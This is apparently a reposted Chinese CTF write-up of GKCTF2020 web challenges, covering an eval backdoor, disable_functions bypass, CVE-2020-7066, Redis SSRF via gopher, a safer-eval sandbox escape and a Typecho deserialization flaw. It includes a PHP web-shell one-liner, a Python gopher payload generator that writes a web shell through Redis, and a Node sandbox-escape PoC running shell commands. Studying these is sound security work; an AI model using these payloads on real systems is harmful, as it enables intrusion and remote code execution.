刷題[GKCTF2020]


[GKCTF2020]CheckIN

解題思路

打開直接是源碼:

<title>Check_In</title> 
<?php  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()['Ginkgo']; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

直接是代碼執行,沒有過濾,只是base64編碼了ginkgo傳入的參數.那么我們直接蟻劍連接shell.

eval($_POST["pass"]);

ZXZhbCgkX1BPU1RbInBhc3MiXSk7

正好與我前面的一篇博客相類似:

看到根目錄下有flag和readflag文件,同時flag文件為空,readflag文件為二進制執行文件。打開虛擬終端無權限使用/readflag


php-gc-bypass

poc地址

pwn("/readflag");

把poc放在/tmp目錄中(一般都可寫入文件),訪問include("/tmp/123.php");,使用Ginkgo傳參訪問,即可獲得flag

知識點

php_bypass_disable_functions

[GKCTF2020]cve版簽到

解題思路

有hint:cve-2020-7066,就是不知道是剛開始就有的,還是后面放出來的,如果不知道這個CVE可能會卡着。

cve描述

題目描述You just view *.ctfhub.com。結合cve可知,get_headers()函數存在漏洞,使用%00即可截斷,上面網頁中也有例子。"http://localhost\0.example.com";\0截斷后,其實訪問的是localhost.那么payload就很明顯了直接構造

http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com

結尾只能是123

知識點

cve-2020-7066

[GKCTF2020]老八小超市兒

解題思路

打開網頁一看是cms,我的第一反應是直接網上尋找有沒有現成的滲透思路

直接搜索ShopXO v1.8.0漏洞

滲透測試|shopxo后台全版本獲取shell復現 跟着走一遍即可,挺簡單的,應該沒什么問題

[GKCTF2020]EZ三劍客-EzWeb

解題思路

打開網頁寫了個提交按鈕,看樣子是跳轉url,簡單嘗試下無果,127.0.0.1應該是在黑名單里了。查看源碼,發現?secret,在框里提交,沒用。再嘗試在url上提交,發現給了IP地址。考慮內網滲透

c段掃描,發現在173.136.207.11下開啟服務。

此時,使用burpsuite,掃描端口

如果報錯429說明訪問太快,number of threads 設置小一點

掃描發現開啟6379端口,這里積累一下
常見端口:6379端口(redis)或3306端口(mysql)

ssrf常見的攻擊方式可以用絕對路徑寫webshell,利用gopher協議打ssrf

import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

這是構造redis命令的,並轉化為redis RESP協議的poc,在ip和port處添加,運行在python2環境下

將生成的payload打在框里

訪問173.136.207.11/shell.php,即可獲得flag

知識點

  • ssrf
  • redis配合gopher協議getshell

博客

這里有一篇總結的非常好的師傅博文,可以看看

[GKCTF2020]EZ三劍客-EzNode

解題思路

看題目名字應該是node.js,進去是一個計算器。測試發現都是timeout,查看源碼

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

解釋這段代碼:

調用express,寫一個路由app.use。如果路徑為eval,將delay賦值為60000,輸出delay值。
將delay返回成一個整數,並判斷如果是整數則返回true。返回delay的最大值。
如果執行的代碼超過6s,才能執行/eval

interger超過2147483647可以使int溢出


繞過成功

發現引用了一個庫safer-eval,那我們先找下關於這個庫的內容或漏洞。搜索發現CVE-2019-10759,safer-eval代碼注入漏洞。需要safer-eval 1.3.2。查看版本發現safer-eval =1.3.6。不符合

在github中又發現有sandbox escape,關於沙箱逃逸,原型鏈污染,我還不是特別懂,這個人說了One can break out of the sandbox with the following code in node:,那通過此poc可以逃逸出沙箱

鏈接

利用poc:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

即參數e的值等於process
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

有師傅總結了相關內容,之后再學習:鏈接

知識點

沙箱逃逸

[GKCTF2020]EZ三劍客-EzTypecho

解題思路

點開網頁,看着是要裝一個Typecho軟件,先跟着來。默認設置安裝報錯,“不,你不想安裝”,一開始以為是自己電腦配置問題,一度懷疑人生,后面搜索,正好發現一篇文章
講述install.php下,存在反序列化漏洞。跟着來,大同小異,跟着走,poc一打就差不多了

總結

本次比賽習題以已知的cve,軟件,cms漏洞為主,主要是要會看師傅們的博客,搜索到相關的解題思路,exp,通過別人的exp學習。總結了搜索cve等漏洞的一些途徑:國家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
有很多的比賽都不是出的新題,以已知的漏洞為基礎,進行一些變更,所以多看相關文章才是王道


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM